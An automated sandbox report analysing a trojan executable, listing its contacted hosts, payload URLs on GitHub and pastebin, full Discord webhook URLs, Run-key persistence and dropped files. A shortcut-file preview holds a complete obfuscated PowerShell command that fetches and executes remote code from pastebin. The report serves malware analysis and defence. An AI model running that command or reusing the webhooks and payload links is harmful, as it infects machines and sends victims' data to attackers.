Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\Backend.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://go.micro	0%	URL Reputation	safe
https://g.live.com/odclientsettings/ProdV2.C:	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
discord.com	162.159.138.232	true	true	unknown
raw.githubusercontent.com	185.199.110.133	true	true	unknown
pastebin.com	172.67.19.24	true	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/Backend.dll	false	unknown
https://discord.com/api/webhooks/1284710807871033355/x0K3Voa94DlgTs4VQWHyks9bUB8i5Uipo6HRW6lKUeKFJpTODgkBqgFx7seLHmsLq996	true	unknown
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/FH5.exe	false	unknown
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt	false	unknown
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt	false	unknown
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt	false	unknown
http://pastebin.com/raw/sA04Mwk2	false	unknown
https://pastebin.com/raw/sA04Mwk2	false	unknown
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt	false	unknown
https://discord.com/api/webhooks/1285453590428782614/2ICVsBAPEUQjq3aCyFPX9ce6WexTwa29I1FddkY5ZuTql0_efW5EguYXiAyCvsMrX7i2	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://discord.com	powershell.exe, 0000000D.00000002.2693402019.000002059FC1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.000001276301F000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://discord.com/api/webhooks/1285453590428782614/2ICVsBAPEUQjq3aCyFPX9ce6WexTwa29I1FddkY5ZuTql0_	powershell.exe, 00000012.00000002.2764790986.0000012762742000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012762702000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012762734000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://discord.com/api/webhooks/1285453590428782614/2ICVsBAPEUQ	powershell.exe, 0000000D.00000002.2693402019.000002059F2FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012762742000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://go.micro	powershell.exe, 0000000D.00000002.2693402019.000002059EC7E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012762078000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 00000007.00000002.3431175834.000001F169ACD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000007.00000003.2331876949.000001F16F200000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr, edb.log.7.dr	false	URL Reputation: safe	unknown
http://discord.com	powershell.exe, 0000000D.00000002.2693402019.000002059FC1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.000001276301F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.7.dr	false		unknown
https://discord.com/api/webhooks/128545359042878	powershell.exe, 0000000D.00000002.2693402019.000002059FC1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.000001276301F000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://raw.githubusercontent.com	powershell.exe, 0000000D.00000002.2693402019.000002059F29A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012762694000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://raw.githubusercontent.com	powershell.exe, 0000000D.00000002.2693402019.000002059F26B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2693402019.000002059F29A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012762694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012762665000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 0000000D.00000002.2693402019.000002059E7D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2693402019.000002059E794000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012761BB0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012761BCE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000D.00000002.2693402019.000002059E771000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012761BB0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pastebin.com	powershell.exe, 0000000D.00000002.2693402019.000002059F1D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2693402019.000002059EC7E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2693402019.000002059F1EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.00000127625CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.00000127625E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012762078000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://pastebin.com	powershell.exe, 0000000D.00000002.2693402019.000002059F1DA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.00000127625D6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://discord.comP.	powershell.exe, 00000012.00000002.2764790986.000001276301F000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.159.138.232	discord.com	United States	13335	CLOUDFLARENETUS	true
172.67.19.24	pastebin.com	United States	13335	CLOUDFLARENETUS	true
185.199.110.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1534110
Start date and time:	2024-10-15 15:58:48 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	xK44OOt7vD.exe renamed because original name is a hash value
Original Sample Name:	1e4a2d67df3b0a1f2d1f5d3af6587f9f222adf40c0a9d4976fc78a21d9efa5b5.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@25/25@3/4
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 85% Number of executed functions: 31 Number of non-executed functions: 43
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 40.126.32.76, 40.126.32.72, 40.126.32.74, 40.126.32.133, 20.190.160.17, 40.126.32.138, 40.126.32.134, 20.190.160.20, 184.28.90.27
Excluded domains from analysis (whitelisted): client.wns.windows.com, prdv4a.aadg.msidentity.com, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target powershell.exe, PID 3136 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: xK44OOt7vD.exe

Simulations

Behavior and APIs

Time	Type	Description
09:59:59	API Interceptor	422x Sleep call for process: powershell.exe modified
10:00:08	API Interceptor	2x Sleep call for process: svchost.exe modified
16:00:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run OneDrive File Sync "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"
16:00:21	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run OneDrive File Sync "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.159.138.232	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse
	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse
	cr_asm.ps1	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.20317.810.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Python.Muldrop.18.50.31694.exe	Get hash	malicious	Blank Grabber	Browse
	Exela(1).exe	Get hash	malicious	Exela Stealer, Python Stealer	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse
	http://relay.csgoze520.com/	Get hash	malicious	Unknown	Browse
172.67.19.24	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	pastebin.com/raw/sA04Mwk2
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	envifa.vbs	Get hash	malicious	Unknown	Browse	pastebin.com/raw/V9y5Q5vv
	sostener.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	Invoice Payment N8977823.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Pending_Invoice_Bank_Details_XLSX.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Dadebehring PendingInvoiceBankDetails.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discord.com	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	162.159.138.232
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	162.159.137.232
	gaber.ps1	Get hash	malicious	Unknown	Browse	162.159.137.232
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	162.159.135.232
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	162.159.138.232
	Q1KaSJ8Fom.exe	Get hash	malicious	Unknown	Browse	162.159.135.232
	Q1KaSJ8Fom.exe	Get hash	malicious	Unknown	Browse	162.159.136.232
pastebin.com	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
	gaber_pyld.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.19.24
	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.19.24
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	104.20.4.235
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	104.20.3.235
	gaber.ps1	Get hash	malicious	Unknown	Browse	104.20.4.235
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	104.20.4.235
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	172.67.19.24
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	172.67.19.24
	xc.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.19.24
raw.githubusercontent.com	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	185.199.111.133
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	185.199.111.133
	gaber.ps1	Get hash	malicious	Unknown	Browse	185.199.108.133
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	185.199.110.133
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	185.199.108.133
	na.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	185.199.109.133
	na.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	185.199.108.133

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	gaber_pyld.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.19.24
	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	162.159.138.232
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	104.18.111.161
	gaber.ps1	Get hash	malicious	Unknown	Browse	162.159.137.232
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	162.159.135.232
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	162.159.138.232
	HqvlYZC7Gf.exe	Get hash	malicious	Unknown	Browse	104.27.206.92
CLOUDFLARENETUS	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	gaber_pyld.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.19.24
	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	162.159.138.232
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	104.18.111.161
	gaber.ps1	Get hash	malicious	Unknown	Browse	162.159.137.232
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	162.159.135.232
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	162.159.138.232
	HqvlYZC7Gf.exe	Get hash	malicious	Unknown	Browse	104.27.206.92

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	162.159.138.232 172.67.19.24 185.199.110.133
	gaber_pyld.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	162.159.138.232 172.67.19.24 185.199.110.133
	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	162.159.138.232 172.67.19.24 185.199.110.133
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	162.159.138.232 172.67.19.24 185.199.110.133
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	162.159.138.232 172.67.19.24 185.199.110.133
	gaber.ps1	Get hash	malicious	Unknown	Browse	162.159.138.232 172.67.19.24 185.199.110.133
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	162.159.138.232 172.67.19.24 185.199.110.133
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	162.159.138.232 172.67.19.24 185.199.110.133
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	162.159.138.232 172.67.19.24 185.199.110.133
	https://www.google.com.tw/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Bkartratraining.%E2%80%8Bco%C2%ADm%2Fcheckout%2Fchart%2Fgy87uy953g6gh8h55hx98uh/d2VzdG9uLmhpbnNvbkBhcmdvZ3JvdXB1cy5jb20=	Get hash	malicious	HTMLPhisher	Browse	162.159.138.232 172.67.19.24 185.199.110.133

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Archive, ctime=Sat May 7 04:20:03 2022, mtime=Mon Sep 9 22:58:05 2024, atime=Sat May 7 04:20:03 2022, length=69632, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	4.527272298423835
Encrypted:	false
SSDEEP:	24:8MBsCCbRKrzcAJBkr+/4MsPsiqxlD2uxmCnBuG4aVlilzXQaR3+hab/Ia7/OB+/q:8zD6JUUPx2uxFu+LozXv3KabINBY0
MD5:	724AA21828AD912CB466E3B0A79F478B
SHA1:	41B80A72CE8C2F1F54C1E595872D7ECD63D637CD
SHA-256:	D675147502CF2CA50BC4EC9A0D95DED0A5A8861BEC3D24FCD9EDD3F4B5718E70
SHA-512:	B88218356ABF805B4263B0960DC6D0FBEC47E2135FA74839449CA860F727D54A1014062C9E7DB0652E81C635C8C0C177B47326DADAF3AE34ED058FA085F1E98C
Malicious:	true
Preview:	L..................F.... ...\|%h..a.........\|%h..a..........................E....P.O. .:i.....+00.../C:\...................V.1......Y..0.Windows.@......T,)Y................................W.i.n.d.o.w.s.....Z.1.....$Yh...System32..B......T,)Y......L_.....................!.S.y.s.t.e.m.3.2.....f.2......T.* .forfiles.exe..J......T.*)Y.....A...........t..........t..f.o.r.f.i.l.e.s...e.x.e.......V...............4.......U...........`8......Windows.C:\Windows\System32\forfiles.exe..&.....\.....\.....\.W.i.n.d.o.w.s.\.S.y.s.t.e.m.3.2.\.f.o.r.f.i.l.e.s...e.x.e.../.p. .c.:.\.w.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2. ./.m. .n.o.t.e.p.a.d...e.x.e. ./.c. .".p.o.w.e.r.s.h.e.l.l...e.x.e. .-.c.o.m.m.a.n.d. .p.o.w.e.r.s.h.e.l.l. .-.w.i.n.d.o.w.s.t.y.l.e. .h. .-.c.o.m.m.a.n.d. .'.s.a.l. .f.a.t.b.a.k.e. .c.a.l.c.;.s.a.l. .c.a.l.l.i.t. .i.E.x.;. .s.a.l. .$.e.n.v.:.o.s. .i.W.r.;. .c.a.l.l.i.T.(.W.I.N.D.O.W.S._.N.T. .p.a.s.t.e.b.i.n...c.o.m./.r.a.w./.s.A.0.4.M.w.k.2. .-.u.s.e.b.a.s.i.c.p.a.r.s.i.n.g.).'."..

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307072195312541
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugL:gJjJGtpTq2yv1AuNZRY3diu8iBVqFx
MD5:	5DA1B6AE070D9552DCB26ED79F797ECA
SHA1:	920962E648803769B5719727EB6A887DED62B8BC
SHA-256:	29BF28633C3CA74BE8796DA69EAAD86AD767AA803D3BA278801DB0C7E26AE7B3
SHA-512:	20BB62D2141F996D8F9405B2E71ABB3B26F65E9B012E06964C20628DE92E90C400E79C78311DB9C39C19C567176D45F62FCD8466AD436F5CF59184F570644EDF
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x1fcf6db7, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585472132629809
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	D610996352C9D64CFE81956E7464DC42
SHA1:	2F03F8BA5E3308B7570777560BB91927B46E2B49
SHA-256:	61F355F5CD5BA51ECA9B47FBE4CC68AFF5019BB5AA074A5344DCB9590EFE6B2F
SHA-512:	190326994611F65649607B9CA95AA35D933307A16BD7F0494B3F57AA135DF5CC9F0CF1544840F2919C00A808C7258D27935152D3E0B8F89AAD36D40F99CE92C3
Malicious:	false
Preview:	..m.... ...............X\...;...{......................0.z..........{.......\|M.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..........................................\|...................9......\|...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07925452414577644
Encrypted:	false
SSDEEP:	3:nQtyYeaO4wkbGuAJkhvekl1ccTOZil/illrekGltll/SPj:nQUzT4PbrxlOwO4leJe3l
MD5:	AE318FC6341840F14AE11F0D5CC797D6
SHA1:	72CFC2BFB6153B297721B0D6F5D6456C451A2FF3
SHA-256:	51119C91532575EA3B4B7759178E22F6F5A304B1B6077414540E724F9113272F
SHA-512:	F5B91F2E91789F7D8C1A33CF304DA594EFF535FBF89B082CB5A6B4F5B1AD449A2D697D6797D84F7413DA3E9B20F1EAA8838BEBFEDB8656F45D43531C9863DBC7
Malicious:	false
Preview:	?R.$.....................................;...{.......\|.......{...............{.......{...XL......{...................9......\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:x9smzdcU6Cj9dcU6C7Vsm5emdV9smbib4xYTVsm5emdqxoe5gpOWib47VFn3eGOq:XFfib4xYTfHib47VoGIpN6KQkj2gikjm
MD5:	41B6EF8F5BDCA3771F6F993AB58D876A
SHA1:	F34B45B49FAA56534920AA42790BFEC7A32D63CD
SHA-256:	C01C9014DAF042A0080FCABE404337D5EFF6305F0F8BF6E96CE96818A620B9E9
SHA-512:	26A40B64312CF7E13136BDACF069D0F53D88ACCC5B61839F92D80684E57C18B2EE0BB458BDABD289304B4CD04DC067D55B7FDB802D9D2BA8A46C3FFDCF66C137
Malicious:	false
Preview:	PSMODULECACHE......&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1........SafeGetCommand........Get-ScriptBlockScope....$...Get-DictionaryValueFromFirstKeyFound........New-PesterOption........Invoke-Pester........ResolveTestScripts........Set-ScriptBlockScope........-Z..z..a...C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1........Set-PackageSource........Unregister-PackageSource........Get-PackageSource........Install-Package........Save-Package........Get-Package........Find-Package........Install-PackageProvider........Import-PackageProvider........Get-PackageProvider........Register-PackageSource........Uninstall-Package........Find-PackageProvider........p...z..[...C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1........Set-PackageSource........Unregister-PackageSource........Get-PackageSource........Install-Package........Save-Package........Get-Package...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul8lXlZ:NllU0
MD5:	83EAEDDD61556ED327263BD12B2998C2
SHA1:	BFEAA70BBF4074F5BD594222178903E1CEF05C61
SHA-256:	DED87FAA166E0D5F0C1B33739F29BFB5E0517F98D20222F8D8EB31A2ED4D5543
SHA-512:	6FF4BE72145B4F57CF3A2D582BB3C34B0A1101EAA8A7F58C4D0204DF70F726A60C5D72959D3199C74FB113CB3BBE35DEBA1041EA0767B2B669BB0B8398D37FB1
Malicious:	false
Preview:	@...e...............................R..".............@..........

C:\Users\user\AppData\Local\Temp\Backend.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31744
Entropy (8bit):	5.733195715654648
Encrypted:	false
SSDEEP:	384:d+NjrSvLsSPa/1ZX3ohNQGDYOMg3P2SFZ2W1whvMDNGeSeu6dt3YXvu6:cpSvLQbOMgOSuQwRMRGe3deXvu6
MD5:	228092BB00D909AEE1F694A26074CB57
SHA1:	E409B75364693456006CADF61F2A5DDEF311ED0E
SHA-256:	05FF6FB5A27E37AAB0269106830A0E1A56C709428AB130BBDDEFF737452E6FE3
SHA-512:	3B714852BEB607C1EE394613E5974131CE7617C8E34E808F81DF4382ADC62CD61A81A0CFBA5019F9D40A8F38171A4E1FD75137529CEE4896FD10F55912E23E3C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Z.X..............F.....L.......L.......L.......L...................Y.....................*.............Rich............PE..d......a.........." .....J...4.......L..........Bi7.......................................`..........................................t..H....v.......................................d..T...........................Pe..8............`..0............................text...!H.......J.................. ..`.rdata.......`... ...N..............@..@.data................n..............@....pdata...............r..............@..@.rsrc................x..............@..@.reloc...............z..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RES8530.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Tue Oct 15 15:54:47 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	3.9793649376197076
Encrypted:	false
SSDEEP:	24:HjKFzW916dUVEHdrfwKqxmNII+ycuZhN6lakS7KPNnqS2d:DWdUy98Kqxmu1ulea3KqSG
MD5:	B1E669332478A299C3037608E1EF6BB7
SHA1:	CA424BEEFE4CC6EAFB009D04DEC3AB9B11BAFDB4
SHA-256:	A38C1AA71FF60994320913EAE0EA8374E78D18CA84E1D83C60D63B25352F773A
SHA-512:	95B62C113A6B82E218155F3F49E8432C574A1C9FE47D3553E9162EA8D19D85EFC7D29663652C78796A1DB6AEDF1D2F78F0A0094DB53BC969FC076F36A5D8E8F6
Malicious:	false
